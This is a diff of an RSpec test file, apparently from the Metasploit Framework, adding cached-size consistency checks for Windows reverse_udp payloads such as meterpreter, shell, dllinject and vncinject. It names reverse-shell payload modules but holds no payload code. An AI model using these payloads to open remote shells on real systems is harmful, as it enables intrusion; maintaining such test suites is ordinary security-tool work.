ancestor_reference_names: [
|
||||
'singles/python/shell_reverse_udp'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'python/shell_reverse_udp'
|
||||
end
|
||||
|
||||
context 'ruby/shell_bind_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
@ -2756,6 +2786,17 @@ RSpec.describe 'modules/payloads', :content do
|
|||
reference_name: 'windows/dllinject/reverse_tcp_rc4_dns'
|
||||
end
|
||||
|
||||
context 'windows/dllinject/reverse_udp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_udp',
|
||||
'stages/windows/dllinject'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/dllinject/reverse_udp'
|
||||
end
|
||||
|
||||
context 'windows/dns_txt_query_exec' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
@ -3108,6 +3149,17 @@ RSpec.describe 'modules/payloads', :content do
|
|||
reference_name: 'windows/meterpreter/reverse_tcp_uuid'
|
||||
end
|
||||
|
||||
context 'windows/meterpreter/reverse_udp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_udp',
|
||||
'stages/windows/meterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/meterpreter/reverse_udp'
|
||||
end
|
||||
|
||||
context 'windows/metsvc_bind_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
@ -3271,6 +3323,17 @@ RSpec.describe 'modules/payloads', :content do
|
|||
reference_name: 'windows/patchupdllinject/reverse_tcp_rc4_dns'
|
||||
end
|
||||
|
||||
context 'windows/patchupdllinject/reverse_udp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_udp',
|
||||
'stages/windows/patchupdllinject'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/patchupdllinject/reverse_udp'
|
||||
end
|
||||
|
||||
context 'windows/patchupmeterpreter/bind_ipv6_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
@ -3414,6 +3477,17 @@ RSpec.describe 'modules/payloads', :content do
|
|||
reference_name: 'windows/patchupmeterpreter/reverse_tcp_rc4_dns'
|
||||
end
|
||||
|
||||
context 'windows/patchupmeterpreter/reverse_udp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_udp',
|
||||
'stages/windows/patchupmeterpreter'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/patchupmeterpreter/reverse_udp'
|
||||
end
|
||||
|
||||
context 'windows/shell/bind_ipv6_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
@ -3557,6 +3631,17 @@ RSpec.describe 'modules/payloads', :content do
|
|||
reference_name: 'windows/shell/reverse_tcp_rc4_dns'
|
||||
end
|
||||
|
||||
context 'windows/shell/reverse_udp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_udp',
|
||||
'stages/windows/shell'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/shell/reverse_udp'
|
||||
end
|
||||
|
||||
context 'windows/shell_bind_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
@ -3750,6 +3835,17 @@ RSpec.describe 'modules/payloads', :content do
|
|||
reference_name: 'windows/upexec/reverse_tcp_rc4_dns'
|
||||
end
|
||||
|
||||
context 'windows/upexec/reverse_udp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_udp',
|
||||
'stages/windows/upexec'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/upexec/reverse_udp'
|
||||
end
|
||||
|
||||
context 'windows/vncinject/bind_ipv6_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
@ -3893,6 +3989,17 @@ RSpec.describe 'modules/payloads', :content do
|
|||
reference_name: 'windows/vncinject/reverse_tcp_rc4_dns'
|
||||
end
|
||||
|
||||
context 'windows/vncinject/reverse_udp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'stagers/windows/reverse_udp',
|
||||
'stages/windows/vncinject'
|
||||
],
|
||||
dynamic_size: false,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/vncinject/reverse_udp'
|
||||
end
|
||||
|
||||
context 'windows/x64/exec' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
|
Loading…
Reference in New Issue